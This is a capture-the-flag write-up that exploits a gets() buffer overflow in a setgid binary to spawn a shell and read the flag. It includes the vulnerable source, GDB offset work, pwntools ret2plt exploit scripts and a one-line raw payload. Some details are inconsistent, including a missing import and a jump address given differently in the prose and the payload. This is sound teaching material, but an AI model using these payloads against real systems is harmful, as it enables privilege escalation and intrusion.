Favorite Color
6 minutes to read
We are given a server to connect using SSH. There is a 32-bit binary called color
that is SGID:
color@ubuntu-512mb-nyc3-01:~$ ls -l
total 20
-r--r--r-- 1 root root 714 Sep 12 2017 Makefile
-r-xr-sr-x 1 root color_pwn 7672 Sep 12 2017 color
-r--r--r-- 1 root root 722 Sep 12 2017 color.c
-r--r----- 1 root color_pwn 24 Sep 12 2017 flag.txt
color@ubuntu-512mb-nyc3-01:~$ file color
color: setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e9a1c78d69ac7f50ffbf21b1075902cea8407db3, not stripped
color@ubuntu-512mb-nyc3-01:~$ checksec color
[*] '/home/color/color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We also have the C source code. Basically, what the program does is call function gets
, which is vulnerable to Buffer Overflow. Then the variable buf
is used inside a for
loop, resulting in good = 0
, because it is using XOR operations and AND operations to get a zero in good
, so that vuln
functions returns 0 and system("/bin/sh")
is not executed:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int vuln() {
char buf[32];
printf("Enter your favorite color: ");
gets(buf);
int good = 0;
for (int i = 0; buf[i]; i++) {
good &= buf[i] ^ buf[i];
}
return good;
}
int main(char argc, char** argv) {
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
// disable buffering.
setbuf(stdout, NULL);
if (vuln()) {
puts("Me too! That's my favorite color too!");
puts("You get a shell! Flag is in flag.txt");
system("/bin/sh");
} else {
puts("Boo... I hate that color! :(");
}
}
However, we can exploit the Buffer Overflow to redirect the program to system("/bin/sh")
.
Although the server has GDB and the PEDA extension installed, I prefer to debug it locally. To transfer the binary, one could encode the file in Base64, copy the output and then decode it locally.
First, we run it and identify the Buffer Overflow vulnerability:
$ ./color
Enter your favorite color: AAAA
Boo... I hate that color! :(
$ ./color
Enter your favorite color: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault (core dumped) ./color
Alright. Now we can use GDB to get the offset to overwrite the $eip
register (which contains the next instruction to execute):
$ gdb -q color
Reading symbols from color...
(No debugging symbols found in color)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./color
Enter your favorite color: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Program received signal SIGSEGV, Segmentation fault.
0x6161616e in ?? ()
gef➤ pattern offset $eip
[+] Searching for '$eip'
[+] Found at offset 52 (little-endian search) likely
[+] Found at offset 49 (big-endian search)
So we need 52 bytes before $eip
. Let’s test it:
gef➤ pattern create 52
[+] Generating a pattern of 52 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa
[+] Saved as '$_gef1'
gef➤ run
Starting program: ./color
Enter your favorite color: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaaBBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
Alright, we have control over $eip
. Now let’s find the address where we want to jump, which is system
:
$ gdb -q color
Reading symbols from color...
(No debugging symbols found in color)
gef➤ p system
$1 = {<text variable, no debug info>} 0x8048450 <system@plt>
However, we need to call system("/bin/sh")
, so we must get the pointer to the string "/bin/sh"
. This can be done using strings
:
$ strings -atx color | grep /bin/sh
799 /bin/sh
But this is not the real address of the string, it is just an offset. To compute the real address, we must add the base address of the binary, which is 0x8048000
, since it is a 32-bit binary with no PIE protection (shown in the checksec
output at the top). Hence, the address of the string during program execution will be 0x8048799
.
Finally, another interesting field of our input is the return address. This is not so relevant for this challenge, so I decided to fill it with zero bytes, but one could use the main
for example, in order not to cause a denyal of service (DoS).
Using a Python script with pwntools
, we can exploit the binary with this short code:
#!/usr/bin/env python3
from pwn import context, ELF, p32
elf = ELF('color')
context.binary = elf
p = elf.process()
offset = 52
junk = b'A' * offset
payload = junk
payload += p32(0x8048450)
payload += p32(0)
payload += p32(0x8048799)
p.sendlineafter(b'Enter your favorite color: ', payload)
p.interactive()
If we run the exploit locally, we will get a shell:
$ python3 solve.py
[*] './color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './color': pid 944522
[*] Switching to interactive mode
$ ls
color solve.py
Now we need to execute it on the remote instance. However, it is not listening in any port. Fortunately, the machine has socat
installed and we are able to open a port and redirect the traffic to color
:
color@ubuntu-512mb-nyc3-01:~$ which socat
/usr/bin/socat
color@ubuntu-512mb-nyc3-01:~$ socat tcp-l:1234,reuseaddr,fork EXEC:./color
Now we can interact the the program on port 1234
. Let’s add a function to the Python script and use pwntools
magic to remove the hardcoded addresses:
#!/usr/bin/env python3
from pwn import context, ELF, p32, remote
elf = ELF('color')
context.binary = elf
def get_process():
if len(sys.argv) == 1:
return elf.process()
host, port = sys.argv[1], int(sys.argv[2])
return remote(host, port)
p = get_process()
offset = 52
junk = b'A' * offset
payload = junk
payload += p32(elf.plt.system)
payload += p32(0)
payload += p32(next(elf.search(b'/bin/sh')))
p.sendlineafter(b'Enter your favorite color: ', payload)
p.interactive()
Finally, we can send it to get the flag:
$ python3 solve.py 104.131.79.111 1234
[*] './color'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Opening connection to 104.131.79.111 on port 1234: Done
[*] Switching to interactive mode
$ ls
Makefile
color
color.c
flag.txt
$ cat flag.txt
CTFlearn{c0lor_0f_0verf1ow}
The full exploit script can be found in here: solve.py
.
There is a simpler way to complete the exploitation. The source code has a explicit call to system("/bin/sh")
, and we have a Buffer Overflow vulnerability, so we can redirect program execution to this specific instruction.
First, we must obtain the assembly code using objdump
(or GDB), and then look for the call to system
:
$ objdump --disassemble=main color | grep -C 4 system
804866f: e8 cc fd ff ff call 8048440 <puts@plt>
8048674: 83 c4 10 add $0x10,%esp
8048677: 83 ec 0c sub $0xc,%esp
804867a: 68 99 87 04 08 push $0x8048799
804867f: e8 cc fd ff ff call 8048450 <system@plt>
8048684: 83 c4 10 add $0x10,%esp
8048687: eb 10 jmp 8048699 <main+0xba>
8048689: 83 ec 0c sub $0xc,%esp
804868c: 68 a1 87 04 08 push $0x80487a1
The address we must jump to is 0x8048674
, which is a bit before the proper call to system
because it needs to prepare the actual call (namely, put "/bin/sh"
as an argument on the stack).
We see that it works locally, puttin the address in little-endian format and adding cat
to keep the user input open:
$ (python3 -c 'import os; os.write(1, b"A" * 52 + b"\x77\x86\x04\x08")'; cat) | ./color
Enter your favorite color:
ls
color solve.py
And it works as well on the server (without using socat
):
color@ubuntu-512mb-nyc3-01:~$ (python3 -c 'import os; os.write(1, b"A" * 52 + b"\x77\x86\x04\x08")'; cat) | ./color
Enter your favorite color:
ls
Makefile color color.c flag.txt
cat flag.txt
CTFlearn{c0lor_0f_0verf1ow}